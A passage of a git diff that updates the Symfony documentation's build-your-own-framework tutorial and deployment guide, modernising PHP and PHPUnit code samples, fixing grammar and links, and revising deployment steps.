!str_contains($response->headers->get('Content-Type'), 'html')) || 'html' !== $event->getRequest()->getRequestFormat() ) { return; @@ -164,7 +156,7 @@ So far so good, but let's add another listener on the same event. Let's say that we want to set the ``Content-Length`` of the Response if it is not already set:: - $dispatcher->addListener('response', function (Simplex\ResponseEvent $event) { + $dispatcher->addListener('response', function (Simplex\ResponseEvent $event): void { $response = $event->getResponse(); $headers = $response->headers; @@ -182,7 +174,7 @@ a positive number; negative numbers can be used for low priority listeners. Here, we want the ``Content-Length`` listener to be executed last, so change the priority to ``-255``:: - $dispatcher->addListener('response', function (Simplex\ResponseEvent $event) { + $dispatcher->addListener('response', function (Simplex\ResponseEvent $event): void { $response = $event->getResponse(); $headers = $response->headers; @@ -203,12 +195,12 @@ Let's refactor the code a bit by moving the Google listener to its own class:: class GoogleListener { - public function onResponse(ResponseEvent $event) + public function onResponse(ResponseEvent $event): void { $response = $event->getResponse(); if ($response->isRedirection() - || ($response->headers->has('Content-Type') && false === strpos($response->headers->get('Content-Type'), 'html')) + || ($response->headers->has('Content-Type') && !str_contains($response->headers->get('Content-Type'), 'html')) || 'html' !== $event->getRequest()->getRequestFormat() ) { return; @@ -225,7 +217,7 @@ And do the same with the other listener:: class ContentLengthListener { - public function onResponse(ResponseEvent $event) + public function onResponse(ResponseEvent $event): void { $response = $event->getResponse(); $headers = $response->headers; @@ -267,7 +259,7 @@ look at the new version of the ``GoogleListener``:: { // ... - public static function getSubscribedEvents() + public static function getSubscribedEvents(): array { return ['response' => 'onResponse']; } @@ -284,7 +276,7 @@ And here is the new version of ``ContentLengthListener``:: { // ... - public static function getSubscribedEvents() + public static function getSubscribedEvents(): array { return ['response' => ['onResponse', -255]]; } diff --git a/create_framework/front_controller.rst b/create_framework/front_controller.rst index 39286ba8c16..cc440dd8910 100644 --- a/create_framework/front_controller.rst +++ b/create_framework/front_controller.rst @@ -38,7 +38,7 @@ Let's see it in action:: // framework/index.php require_once __DIR__.'/init.php'; - $name = $request->get('name', 'World'); + $name = $request->query->get('name', 'World'); $response->setContent(sprintf('Hello %s', htmlspecialchars($name, ENT_QUOTES, 'UTF-8'))); $response->send(); @@ -56,9 +56,9 @@ not feel like a good abstraction, does it? We still have the ``send()`` method for all pages, our pages do not look like templates and we are still not able to test this code properly. -Moreover, adding a new page means that we need to create a new PHP script, -which name is exposed to the end user via the URL -(``http://127.0.0.1:4321/bye.php``): there is a direct mapping between the PHP +Moreover, adding a new page means that we need to create a new PHP script, the name of +which is exposed to the end user via the URL +(``http://127.0.0.1:4321/bye.php``). There is a direct mapping between the PHP script name and the client URL. This is because the dispatching of the request is done by the web server directly. It might be a good idea to move this dispatching to our code for better flexibility. This can be achieved by routing @@ -98,14 +98,14 @@ Such a script might look like the following:: And here is for instance the new ``hello.php`` script:: // framework/hello.php - $name = $request->get('name', 'World'); + $name = $request->query->get('name', 'World'); $response->setContent(sprintf('Hello %s', htmlspecialchars($name, ENT_QUOTES, 'UTF-8'))); In the ``front.php`` script, ``$map`` associates URL paths with their corresponding PHP script paths. As a bonus, if the client asks for a path that is not defined in the URL map, -we return a custom 404 page; you are now in control of your website. +we return a custom 404 page. You are now in control of your website. To access a page, you must now use the ``front.php`` script: @@ -127,13 +127,13 @@ its sub-directories (only if needed -- see above tip). .. tip:: - You don't even need to setup a web server to test the code. Instead, + You don't even need to set up a web server to test the code. Instead, replace the ``$request = Request::createFromGlobals();`` call to something like ``$request = Request::create('/hello?name=Fabien');`` where the argument is the URL path you want to simulate. -Now that the web server always access the same script (``front.php``) for all -pages, we can secure the code further by moving all other PHP files outside the +Now that the web server always accesses the same script (``front.php``) for all +pages, we can secure the code further by moving all other PHP files outside of the web root directory: .. code-block:: text @@ -151,10 +151,10 @@ web root directory: └── front.php Now, configure your web server root directory to point to ``web/`` and all -other files won't be accessible from the client anymore. +other files will no longer be accessible from the client. To test your changes in a browser (``http://localhost:4321/hello?name=Fabien``), -run the :doc:`Symfony Local Web Server </setup/symfony_server>`: +run the :ref:`Symfony local web server <symfony-cli-server>`: .. code-block:: terminal @@ -166,7 +166,7 @@ run the :doc:`Symfony Local Web Server </setup/symfony_server>`: various PHP files; the changes are left as an exercise for the reader. The last thing that is repeated in each page is the call to ``setContent()``. -We can convert all pages to "templates" by just echoing the content and calling +We can convert all pages to "templates" by echoing the content and calling the ``setContent()`` directly from the front controller script:: // example.com/web/front.php @@ -185,10 +185,12 @@ the ``setContent()`` directly from the front controller script:: // ... -And the ``hello.php`` script can now be converted to a template:: +And the ``hello.php`` script can now be converted to a template: + +.. code-block:: html+php <!-- example.com/src/pages/hello.php --> - <?php $name = $request->get('name', 'World') ?> + <?php $name = $request->query->get('name', 'World') ?> Hello <?= htmlspecialchars($name, ENT_QUOTES, 'UTF-8') ?> diff --git a/create_framework/http_foundation.rst b/create_framework/http_foundation.rst index b56834319a8..71146b1785c 100644 --- a/create_framework/http_foundation.rst +++ b/create_framework/http_foundation.rst @@ -11,7 +11,7 @@ top of the Symfony components is better than creating a framework from scratch. We won't talk about the traditional benefits of using a framework when working on big applications with more than a few developers; the Internet - has already plenty of good resources on that topic. + already has plenty of good resources on that topic. Even if the "application" we wrote in the previous chapter was simple enough, it suffers from a few problems:: @@ -25,7 +25,7 @@ First, if the ``name`` query parameter is not defined in the URL query string, you will get a PHP warning; so let's fix it:: // framework/index.php - $name = isset($_GET['name']) ? $_GET['name'] : 'World'; + $name = $_GET['name'] ?? 'World'; printf('Hello %s', $name); @@ -33,7 +33,7 @@ Then, this *application is not secure*. Can you believe it? Even this simple snippet of PHP code is vulnerable to one of the most widespread Internet security issue, XSS (Cross-Site Scripting). Here is a more secure version:: - $name = isset($_GET['name']) ? $_GET['name'] : 'World'; + $name = $_GET['name'] ?? 'World'; header('Content-Type: text/html; charset=utf-8'); @@ -61,7 +61,7 @@ unit test for the above code:: class IndexTest extends TestCase { - public function testHello() + public function testHello(): void { $_GET['name'] = 'Fabien'; @@ -141,7 +141,7 @@ Now, let's rewrite our application by using the ``Request`` and the $request = Request::createFromGlobals(); - $name = $request->get('name', 'World'); + $name = $request->query->get('name', 'World'); $response = new Response(sprintf('Hello %s', htmlspecialchars($name, ENT_QUOTES, 'UTF-8'))); @@ -176,20 +176,20 @@ fingertips thanks to a nice and simple API:: // the URI being requested (e.g. /about) minus any query parameters $request->getPathInfo(); - // retrieve GET and POST variables respectively + // retrieves GET and POST variables respectively $request->query->get('foo'); - $request->request->get('bar', 'default value if bar does not exist'); + $request->getPayload()->get('bar', 'default value if bar does not exist'); - // retrieve SERVER variables + // retrieves SERVER variables $request->server->get('HTTP_HOST'); // retrieves an instance of UploadedFile identified by foo $request->files->get('foo'); - // retrieve a COOKIE value + // retrieves a COOKIE value $request->cookies->get('PHPSESSID'); - // retrieve an HTTP request header, with normalized, lowercase keys + // retrieves an HTTP request header, with normalized, lowercase keys $request->headers->get('host'); $request->headers->get('content-type'); @@ -255,7 +255,7 @@ code in production without a proxy, it becomes trivially easy to abuse your system. That's not the case with the ``getClientIp()`` method as you must explicitly trust your reverse proxies by calling ``setTrustedProxies()``:: - Request::setTrustedProxies(['10.0.0.1']); + Request::setTrustedProxies(['10.0.0.1'], Request::HEADER_X_FORWARDED_FOR); if ($myIp === $request->getClientIp()) { // the client is a known one, so give it some more privilege @@ -265,7 +265,7 @@ So, the ``getClientIp()`` method works securely in all circumstances. You can use it in all your projects, whatever the configuration is, it will behave correctly and safely. That's one of the goals of using a framework. If you were to write a framework from scratch, you would have to think about all these -cases by yourself. Why not using a technology that already works? +cases by yourself. Why not use a technology that already works? .. note:: @@ -273,7 +273,7 @@ cases by yourself. Why not using a technology that already works? a look at the ``Symfony\Component\HttpFoundation`` API or read its dedicated :doc:`documentation </components/http_foundation>`. -Believe or not but we have our first framework. You can stop now if you want. +Believe it or not but we have our first framework. You can stop now if you want. Using just the Symfony HttpFoundation component already allows you to write better and more testable code. It also allows you to write code faster as many day-to-day problems have already been solved for you. @@ -282,7 +282,7 @@ As a matter of fact, projects like Drupal have adopted the HttpFoundation component; if it works for them, it will probably work for you. Don't reinvent the wheel. -I've almost forgot to talk about one added benefit: using the HttpFoundation +I've almost forgotten to talk about one added benefit: using the HttpFoundation component is the start of better interoperability between all frameworks and `applications using it`_ (like `Symfony`_, `Drupal 8`_, `phpBB 3`_, `Laravel`_ and `ezPublish 5`_, and `more`_). diff --git a/create_framework/http_kernel_controller_resolver.rst b/create_framework/http_kernel_controller_resolver.rst index bac631073e6..6c7e469da27 100644 --- a/create_framework/http_kernel_controller_resolver.rst +++ b/create_framework/http_kernel_controller_resolver.rst @@ -10,7 +10,7 @@ class:: class LeapYearController { - public function index($request) + public function index($request): Response { if (is_leap_year($request->attributes->get('year'))) { return new Response('Yep, this is a leap year!'); @@ -31,7 +31,7 @@ The move is pretty straightforward and makes a lot of sense as soon as you create more pages but you might have noticed a non-desirable side effect... The ``LeapYearController`` class is *always* instantiated, even if the requested URL does not match the ``leap_year`` route. This is bad for one main -reason: performance wise, all controllers for all routes must now be +reason: performance-wise, all controllers for all routes must now be instantiated for every request. It would be better if controllers were lazy-loaded so that only the controller associated with the matched route is instantiated. @@ -112,26 +112,26 @@ More interesting, ``getArguments()`` is also able to inject any Request attribute; if the argument has the same name as the corresponding attribute:: - public function index($year) + public function index(int $year) You can also inject the Request and some attributes at the same time (as the matching is done on the argument name or a type hint, the arguments order does not matter):: - public function index(Request $request, $year) + public function index(Request $request, int $year) - public function index($year, Request $request) + public function index(int $year, Request $request) Finally, you can also define default values for any argument that matches an optional attribute of the Request:: - public function index($year = 2012) + public function index(int $year = 2012) Let's inject the ``$year`` request attribute for our controller:: class LeapYearController { - public function index($year) + public function index(int $year): Response { if (is_leap_year($year)) { return new Response('Yep, this is a leap year!'); @@ -165,15 +165,6 @@ Let's conclude with the new version of our framework:: use Symfony\Component\HttpKernel; use Symfony\Component\Routing; - function render_template(Request $request) - { - extract($request->attributes->all(), EXTR_SKIP); - ob_start(); - include sprintf(__DIR__.'/../src/pages/%s.php', $_route); - - return new Response(ob_get_clean()); - } - $request = Request::createFromGlobals(); $routes = include __DIR__.'/../src/app.php'; diff --git a/create_framework/http_kernel_httpkernel_class.rst b/create_framework/http_kernel_httpkernel_class.rst index 1cf76830abd..158de638f8a 100644 --- a/create_framework/http_kernel_httpkernel_class.rst +++ b/create_framework/http_kernel_httpkernel_class.rst @@ -39,7 +39,6 @@ And the new front controller:: use Symfony\Component\EventDispatcher\EventDispatcher; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; - use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel; use Symfony\Component\Routing; @@ -69,7 +68,7 @@ Our code is now much more concise and surprisingly more robust and more powerful than ever. For instance, use the built-in ``ErrorListener`` to make your error management configurable:: - $errorHandler = function (Symfony\Component\ErrorHandler\Exception\FlattenException $exception) { + $errorHandler = function (Symfony\Component\ErrorHandler\Exception\FlattenException $exception): Response { $msg = 'Something went wrong! ('.$exception->getMessage().')'; return new Response($msg, $exception->getStatusCode()); @@ -96,7 +95,7 @@ The error controller reads as follows:: class ErrorController { - public function exception(FlattenException $exception) + public function exception(FlattenException $exception): Response { $msg = 'Something went wrong! ('.$exception->getMessage().')'; @@ -114,11 +113,6 @@ client; that's what the ``ResponseListener`` does:: $dispatcher->addSubscriber(new HttpKernel\EventListener\ResponseListener('UTF-8')); -If you want out of the box support for streamed responses, subscribe -to ``StreamedResponseListener``:: - - $dispatcher->addSubscriber(new HttpKernel\EventListener\StreamedResponseListener()); - And in your controller, return a ``StreamedResponse`` instance instead of a ``Response`` instance. @@ -133,7 +127,7 @@ instead of a full Response object:: class LeapYearController { - public function index(Request $request, $year) + public function index(int $year): string { $leapYear = new LeapYear(); if ($leapYear->isLeapYear($year)) { @@ -158,7 +152,7 @@ only if needed:: class StringResponseListener implements EventSubscriberInterface { - public function onView(ViewEvent $event) + public function onView(ViewEvent $event): void { $response = $event->getControllerResult(); @@ -167,7 +161,7 @@ only if needed:: } } - public static function getSubscribedEvents() + public static function getSubscribedEvents(): array { return ['kernel.view' => 'onView']; } diff --git a/create_framework/http_kernel_httpkernelinterface.rst b/create_framework/http_kernel_httpkernelinterface.rst index 350993e3d7d..8d28fc9d24b 100644 --- a/create_framework/http_kernel_httpkernelinterface.rst +++ b/create_framework/http_kernel_httpkernelinterface.rst @@ -16,9 +16,9 @@ goal by making our framework implement ``HttpKernelInterface``:: */ public function handle( Request $request, - $type = self::MASTER_REQUEST, - $catch = true - ); + int $type = self::MAIN_REQUEST, + bool $catch = true + ): Response; } ``HttpKernelInterface`` is probably the most important piece of code in the @@ -39,15 +39,15 @@ Update your framework so that it implements this interface:: public function handle( Request $request, - $type = HttpKernelInterface::MASTER_REQUEST, - $catch = true + int $type = HttpKernelInterface::MAIN_REQUEST, + bool $catch = true ) { // ... } } -Even if this change looks not too complex, it brings us a lot! Let's talk about one of -the most impressive one: transparent :doc:`HTTP caching </http_cache>` support. +With this change, a little goes a long way! Let's talk about one of +the most impressive upsides: transparent :doc:`HTTP caching </http_cache>` support. The ``HttpCache`` class implements a fully-featured reverse proxy, written in PHP; it implements ``HttpKernelInterface`` and wraps another @@ -64,7 +64,8 @@ PHP; it implements ``HttpKernelInterface`` and wraps another new HttpKernel\HttpCache\Store(__DIR__.'/../cache') ); - $framework->handle($request)->send(); + $response = $framework->handle($request); + $response->send(); That's all it takes to add HTTP caching support to our framework. Isn't it amazing? @@ -75,7 +76,7 @@ to cache a response for 10 seconds, use the ``Response::setTtl()`` method:: // example.com/src/Calendar/Controller/LeapYearController.php // ... - public function index(Request $request, $year) + public function index(Request $request, int $year): Response { $leapYear = new LeapYear(); if ($leapYear->isLeapYear($year)) { @@ -160,7 +161,7 @@ rest of the content? Edge Side Includes (`ESI`_) to the rescue! Instead of generating the whole content in one go, ESI allows you to mark a region of a page as being the content of a sub-request call: -.. code-block:: text +.. code-block:: html This is the content of your page diff --git a/create_framework/introduction.rst b/create_framework/introduction.rst index 1c068942110..420537a8088 100644 --- a/create_framework/introduction.rst +++ b/create_framework/introduction.rst @@ -29,7 +29,7 @@ a few good reasons to start creating your own framework: * To refactor an old/existing application that needs a good dose of recent web development best practices; -* To prove the world that you can actually create a framework on your own (... +* To prove to the world that you can actually create a framework on your own (... but with little effort). This tutorial will gently guide you through the creation of a web framework, @@ -62,9 +62,9 @@ Before You Start Reading about how to create a framework is not enough. You will have to follow along and actually type all the examples included in this tutorial. For that, -you need a recent version of PHP (5.5.9 or later is good enough), a web server +you need a recent version of PHP (7.4 or later is good enough), a web server (like Apache, nginx or PHP's built-in web server), a good knowledge of PHP and -an understanding of Object Oriented programming. +an understanding of Object Oriented Programming. Ready to go? Read on! @@ -101,7 +101,7 @@ start with the simplest web application we can think of in PHP:: printf('Hello %s', $name); -You can use the :doc:`Symfony Local Web Server </setup/symfony_server>` to test +You can use the :ref:`Symfony local web server <symfony-cli-server>` to test this great application in a browser (``http://localhost:8000/index.php?name=Fabien``): @@ -113,5 +113,5 @@ In the :doc:`next chapter </create_framework/http_foundation>`, we are going to introduce the HttpFoundation Component and see what it brings us. .. _`Symfony`: https://symfony.com/ -.. _`Composer`: https//getcomposer.org/ +.. _`Composer`: https://getcomposer.org/ .. _`download and install Composer`: https://getcomposer.org/download/ diff --git a/create_framework/routing.rst b/create_framework/routing.rst index d381daed2eb..71e3a8250e1 100644 --- a/create_framework/routing.rst +++ b/create_framework/routing.rst @@ -30,10 +30,12 @@ framework just a little to make templates even more readable:: $response->send(); As we now extract the request query parameters, simplify the ``hello.php`` -template as follows:: +template as follows: + +.. code-block:: html+php <!-- example.com/src/pages/hello.php --> - Hello <?= htmlspecialchars(isset($name) ? $name : 'World', ENT_QUOTES, 'UTF-8') ?> + Hello <?= htmlspecialchars($name ?? 'World', ENT_QUOTES, 'UTF-8') ?> Now, we are in good shape to add new features. @@ -161,7 +163,9 @@ There are a few new things in the code: * ``500`` errors are now managed correctly; -* Request attributes are extracted to keep our templates simple:: +* Request attributes are extracted to keep our templates simple: + +.. code-block:: html+php // example.com/src/pages/hello.php Hello <?= htmlspecialchars($name, ENT_QUOTES, 'UTF-8') ?> diff --git a/create_framework/separation_of_concerns.rst b/create_framework/separation_of_concerns.rst index e1e46f3ebe3..5238b3aac42 100644 --- a/create_framework/separation_of_concerns.rst +++ b/create_framework/separation_of_concerns.rst @@ -27,18 +27,14 @@ request handling logic into its own ``Simplex\Framework`` class:: class Framework { - protected $matcher; - protected $controllerResolver; - protected $argumentResolver; - - public function __construct(UrlMatcher $matcher, ControllerResolver $controllerResolver, ArgumentResolver $argumentResolver) - { - $this->matcher = $matcher; - $this->controllerResolver = $controllerResolver; - $this->argumentResolver = $argumentResolver; + public function __construct( + private UrlMatcher $matcher, + private ControllerResolver $controllerResolver, + private ArgumentResolver $argumentResolver, + ) { } - public function handle(Request $request) + public function handle(Request $request): Response { $this->matcher->getContext()->fromRequest($request); @@ -106,7 +102,7 @@ Move the controller to ``Calendar\Controller\LeapYearController``:: class LeapYearController { - public function index(Request $request, $year) + public function index(Request $request, int $year): Response { $leapYear = new LeapYear(); if ($leapYear->isLeapYear($year)) { @@ -124,7 +120,7 @@ And move the ``is_leap_year()`` function to its own class too:: class LeapYear { - public function isLeapYear($year = null) + public function isLeapYear(?int $year = null): bool { if (null === $year) { $year = date('Y'); diff --git a/create_framework/templating.rst b/create_framework/templating.rst index 4ae746e1c91..282e75cbc94 100644 --- a/create_framework/templating.rst +++ b/create_framework/templating.rst @@ -38,7 +38,7 @@ that renders a template when there is no specific logic. To keep the same template as before, request attributes are extracted before the template is rendered:: - function render_template($request) + function render_template(Request $request): Response { extract($request->attributes->all(), EXTR_SKIP); ob_start(); @@ -74,7 +74,7 @@ can still use the ``render_template()`` to render a template:: $routes->add('hello', new Routing\Route('/hello/{name}', [ 'name' => 'World', - '_controller' => function ($request) { + '_controller' => function (Request $request): string { return render_template($request); } ])); @@ -84,7 +84,7 @@ you can even pass additional arguments to the template:: $routes->add('hello', new Routing\Route('/hello/{name}', [ 'name' => 'World', - '_controller' => function ($request) { + '_controller' => function (Request $request): Response { // $foo will be available in the template $request->attributes->set('foo', 'bar'); @@ -106,7 +106,7 @@ Here is the updated and improved version of our framework:: use Symfony\Component\HttpFoundation\Response; use Symfony\Component\Routing; - function render_template($request) + function render_template(Request $request): Response { extract($request->attributes->all(), EXTR_SKIP); ob_start(); @@ -142,12 +142,14 @@ framework does not need to be modified in any way, create a new ``app.php`` file:: // example.com/src/app.php + use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\Routing; - function is_leap_year($year = null) { + function is_leap_year(?int $year = null): bool + { if (null === $year) { - $year = date('Y'); + $year = (int)date('Y'); } return 0 === $year % 400 || (0 === $year % 4 && 0 !== $year % 100); @@ -156,7 +158,7 @@ framework does not need to be modified in any way, create a new $routes = new Routing\RouteCollection(); $routes->add('leap_year', new Routing\Route('/is_leap_year/{year}', [ 'year' => null, - '_controller' => function ($request) { + '_controller' => function (Request $request): Response { if (is_leap_year($request->attributes->get('year'))) { return new Response('Yep, this is a leap year!'); } @@ -177,5 +179,5 @@ As always, you can decide to stop here and use the framework as is; it's probably all you need to create simple websites like those fancy one-page `websites`_ and hopefully a few others. -.. _`callbacks`: https://www.php.net/callback#language.types.callback +.. _`callbacks`: https://www.php.net/manual/en/language.types.callable.php .. _`websites`: https://kottke.org/08/02/single-serving-sites diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst index a4d6d401c33..55220dad31f 100644 --- a/create_framework/unit_testing.rst +++ b/create_framework/unit_testing.rst @@ -8,30 +8,35 @@ on it will exhibit the same bugs. The good news is that whenever you fix a bug, you are fixing a bunch of applications too. Today's mission is to write unit tests for the framework we have created by -using `PHPUnit`_. Create a PHPUnit configuration file in -``example.com/phpunit.xml.dist``: +using `PHPUnit`_. At first, install PHPUnit as a development dependency: + +.. code-block:: terminal + + $ composer require --dev phpunit/phpunit:^11.0 + +Then, create a PHPUnit configuration file in ``example.com/phpunit.dist.xml``: .. code-block:: xml <?xml version="1.0" encoding="UTF-8"?> <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/5.1/phpunit.xsd" + xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/11.0/phpunit.xsd" backupGlobals="false" colors="true" bootstrap="vendor/autoload.php" > + <source> + <include> + <directory suffix=".php">./src</directory> + </include> + </source> + <testsuites> <testsuite name="Test Suite"> <directory>./tests</directory> </testsuite> </testsuites> - - <filter> - <whitelist processUncoveredFilesFromWhitelist="true"> - <directory suffix=".php">./src</directory> - </whitelist> - </filter> </phpunit> This configuration defines sensible defaults for most PHPUnit settings; more @@ -57,15 +62,11 @@ resolver. Modify the framework to make use of them:: class Framework { - protected $matcher; - protected $controllerResolver; - protected $argumentResolver; - - public function __construct(UrlMatcherInterface $matcher, ControllerResolverInterface $resolver, ArgumentResolverInterface $argumentResolver) - { - $this->matcher = $matcher; - $this->controllerResolver = $resolver; - $this->argumentResolver = $argumentResolver; + public function __construct( + private UrlMatcherInterface $matcher, + private ControllerResolverInterface $resolver, + private ArgumentResolverInterface $argumentResolver, + ) { } // ... @@ -86,7 +87,7 @@ We are now ready to write our first test:: class FrameworkTest extends TestCase { - public function testNotFoundHandling() + public function testNotFoundHandling(): void { $framework = $this->getFrameworkForException(new ResourceNotFoundException()); @@ -95,21 +96,19 @@ We are now ready to write our first test:: $this->assertEquals(404, $response->getStatusCode()); } - private function getFrameworkForException($exception) + private function getFrameworkForException($exception): Framework { $matcher = $this->createMock(Routing\Matcher\UrlMatcherInterface::class); - // use getMock() on PHPUnit 5.3 or below - // $matcher = $this->getMock(Routing\Matcher\UrlMatcherInterface::class); $matcher ->expects($this->once()) ->method('match') - ->will($this->throwException($exception)) + ->willThrowException($exception) ; $matcher ->expects($this->once()) ->method('getContext') - ->will($this->returnValue($this->createMock(Routing\RequestContext::class))) + ->willReturn($this->createMock(Routing\RequestContext::class)) ; $controllerResolver = $this->createMock(ControllerResolverInterface::class); $argumentResolver = $this->createMock(ArgumentResolverInterface::class); @@ -138,7 +137,7 @@ either in the test or in the framework code! Adding a unit test for any exception thrown in a controller:: - public function testErrorHandling() + public function testErrorHandling(): void { $framework = $this->getFrameworkForException(new \RuntimeException()); @@ -155,25 +154,23 @@ Response:: use Symfony\Component\HttpKernel\Controller\ControllerResolver; // ... - public function testControllerResponse() + public function testControllerResponse(): void { $matcher = $this->createMock(Routing\Matcher\UrlMatcherInterface::class); - // use getMock() on PHPUnit 5.3 or below - // $matcher = $this->getMock(Routing\Matcher\UrlMatcherInterface::class); $matcher ->expects($this->once()) ->method('match') - ->will($this->returnValue([ + ->willReturn([ '_route' => 'is_leap_year/{year}', 'year' => '2000', - '_controller' => [new LeapYearController(), 'index'] - ])) + '_controller' => [new LeapYearController(), 'index'], + ]) ; $matcher ->expects($this->once()) ->method('getContext') - ->will($this->returnValue($this->createMock(Routing\RequestContext::class))) + ->willReturn($this->createMock(Routing\RequestContext::class)) ; $controllerResolver = new ControllerResolver(); $argumentResolver = new ArgumentResolver(); @@ -197,7 +194,7 @@ coverage feature (you need to enable `XDebug`_ first): $ ./vendor/bin/phpunit --coverage-html=cov/ -Open ``example.com/cov/src/Simplex/Framework.php.html`` in a browser and check +Open ``example.com/cov/Simplex/Framework.php.html`` in a browser and check that all the lines for the Framework class are green (it means that they have been visited when the tests were executed). @@ -215,6 +212,6 @@ Symfony code. Now that we are confident (again) about the code we have written, we can safely think about the next batch of features we want to add to our framework. -.. _`PHPUnit`: https://phpunit.de/manual/current/en/index.html -.. _`test doubles`: https://phpunit.de/manual/current/en/test-doubles.html +.. _`PHPUnit`: https://docs.phpunit.de/en/11.0/ +.. _`test doubles`: https://docs.phpunit.de/en/11.0/test-doubles.html .. _`XDebug`: https://xdebug.org/ diff --git a/deployment.rst b/deployment.rst index 85b772b3a55..b9d985920b5 100644 --- a/deployment.rst +++ b/deployment.rst @@ -1,15 +1,12 @@ -.. index:: - single: Deployment; Deployment tools - .. _how-to-deploy-a-symfony2-application: How to Deploy a Symfony Application =================================== Deploying a Symfony application can be a complex and varied task depending on -the setup and the requirements of your application. This article is not a step- -by-step guide, but is a general list of the most common requirements and ideas -for deployment. +the setup and the requirements of your application. This article is not a +step-by-step guide, but rather a general list of the most common requirements and +ideas for deployment. .. _symfony2-deployment-basics: @@ -46,7 +43,7 @@ Basic File Transfer The most basic way of deploying an application is copying the files manually via FTP/SCP (or similar method). This has its disadvantages as you lack control over the system as the upgrade progresses. This method also requires you -to take some manual steps after transferring the files (see `Common Post-Deployment Tasks`_) +to take some manual steps after transferring the files (see `Common Deployment Tasks`_). Using Source Control ~~~~~~~~~~~~~~~~~~~~ @@ -58,21 +55,14 @@ system. When using Git, a common approach is to create a tag for each release and check out the appropriate tag on deployment (see `Git Tagging`_). This makes updating your files *easier*, but you still need to worry about -manually taking other steps (see `Common Post-Deployment Tasks`_). +manually taking other steps (see `Common Deployment Tasks`_). Using Platforms as a Service ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Using a Platform as a Service (PaaS) can be a great way to deploy your Symfony -app quickly. There are many PaaS - below are a few that work well with Symfony: - -* `Symfony Cloud`_ -* `Heroku`_ -* `Platform.sh`_ -* `Azure`_ -* `fortrabbit`_ -* `Clever Cloud`_ -* `Scalingo`_ +app quickly. There are many PaaS, but we recommend `Platform.sh`_ as it +provides a dedicated Symfony integration and helps fund the Symfony development. Using Build Scripts and other Tools ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -80,9 +70,6 @@ Using Build Scripts and other Tools There are also tools to help ease the pain of deployment. Some of them have been specifically tailored to the requirements of Symfony. -`EasyDeployBundle`_ - A Symfony bundle that adds deploy tools to your application. - `Deployer`_ This is another native PHP rewrite of Capistrano, with some ready recipes for Symfony. @@ -103,17 +90,43 @@ specifically tailored to the requirements of Symfony. `Symfony plugin`_ is a plugin to ease Symfony related tasks, inspired by `Capifony`_ (which works only with Capistrano 2). -Common Post-Deployment Tasks ----------------------------- +.. _common-post-deployment-tasks: -After deploying your actual source code, there are a number of common things -you'll need to do: +Common Deployment Tasks +----------------------- + +Before and after deploying your actual source code, there are a number of common +things you'll need to do: A) Check Requirements ~~~~~~~~~~~~~~~~~~~~~ -Use the ``check:requirements`` command to check if your server meets the -:ref:`technical requirements for running Symfony applications <symfony-tech-requirements>`. +There are some :ref:`technical requirements for running Symfony applications <symfony-tech-requirements>`. +In your development machine, the recommended way to check these requirements is +to use `Symfony CLI`_. However, in your production server you might prefer to +not install the Symfony CLI tool. In those cases, install this other package in +your application: + +.. code-block:: terminal + + $ composer require symfony/requirements-checker + +Then, make sure that the checker is included in your Composer scripts: + +.. code-block:: json + + { + "...": "...", + + "scripts": { + "auto-scripts": { + "vendor/bin/requirements-checker": "php-script", + "...": "..." + }, + + "...": "..." + } + } .. _b-configure-your-app-config-parameters-yml-file: @@ -121,26 +134,38 @@ B) Configure your Environment Variables ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Most Symfony applications read their configuration from environment variables. -While developing locally, you'll usually store these in ``.env`` and ``.env.local`` -(for local overrides). On production, you have two options: +While developing locally, you'll usually store these in :ref:`.env files <configuration-env-var-in-dev>`. +On production, you have two options: 1. Create "real" environment variables. How you set environment variables, depends on your setup: they can be set at the command line, in your Nginx configuration, - or via other methods provided by your hosting service. + or via other methods provided by your hosting service; -2. Or, create a ``.env.local`` file like your local development (see note below) +2. Or, create a ``.env.prod.local`` file that contains values specific to your + production environment. -There is no significant advantage to either of the two options: use whatever is -most natural in your hosting environment. +There is no significant advantage to either option: use whichever is most natural +for your hosting environment. -.. note:: +.. tip:: - If you use the ``.env.*`` files on production, you may need to move your - ``symfony/dotenv`` dependency from ``require-dev`` to ``require`` in ``composer.json``: + You might not want your application to process the ``.env.*`` files on + every request. You can generate an optimized ``.env.local.php`` which + overrides all other configuration files: .. code-block:: terminal - $ composer require symfony/dotenv + $ composer dump-env prod + + The generated file will contain all the configuration stored in ``.env``. If you + want to rely only on environment variables, generate one without any values using: + + .. code-block:: terminal + + $ composer dump-env prod --empty + + If you don't have Composer installed on the production server, use instead + :ref:`the dotenv:dump Symfony command <configuration-env-var-in-prod>`. C) Install/Update your Vendors ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -160,7 +185,7 @@ as you normally do: significantly by building a "class map". The ``--no-dev`` flag ensures that development packages are not installed in the production environment. -.. caution:: +.. warning:: If you get a "class not found" error during this step, you may need to run ``export APP_ENV=prod`` (or ``export SYMFONY_ENV=prod`` if you're not @@ -185,9 +210,13 @@ setup: * Running any database migrations * Clearing your APCu cache * Add/edit CRON jobs +* Restarting your workers * :ref:`Building and minifying your assets <how-do-i-deploy-my-encore-assets>` with Webpack Encore +* :ref:`Compile your assets <asset-mapper-deployment>` if you're using the AssetMapper component * Pushing assets to a CDN -* ... +* On a shared hosting platform using the Apache web server, you may need to + install the `symfony/apache-pack`_ package +* etc. Application Lifecycle: Continuous Integration, QA, etc. ------------------------------------------------------- @@ -203,7 +232,7 @@ are simple and more complex tools and one can make the deployment as easy Don't forget that deploying your application also involves updating any dependency (typically via Composer), migrating your database, clearing your cache and -other potential things like pushing assets to a CDN (see `Common Post-Deployment Tasks`_). +other potential things like pushing assets to a CDN (see `Common Deployment Tasks`_). Troubleshooting --------------- @@ -231,19 +260,14 @@ Learn More .. _`Capifony`: https://github.com/everzet/capifony .. _`Capistrano`: https://capistranorb.com/ -.. _`Fabric`: http://www.fabfile.org/ +.. _`Fabric`: https://www.fabfile.org/ .. _`Ansistrano`: 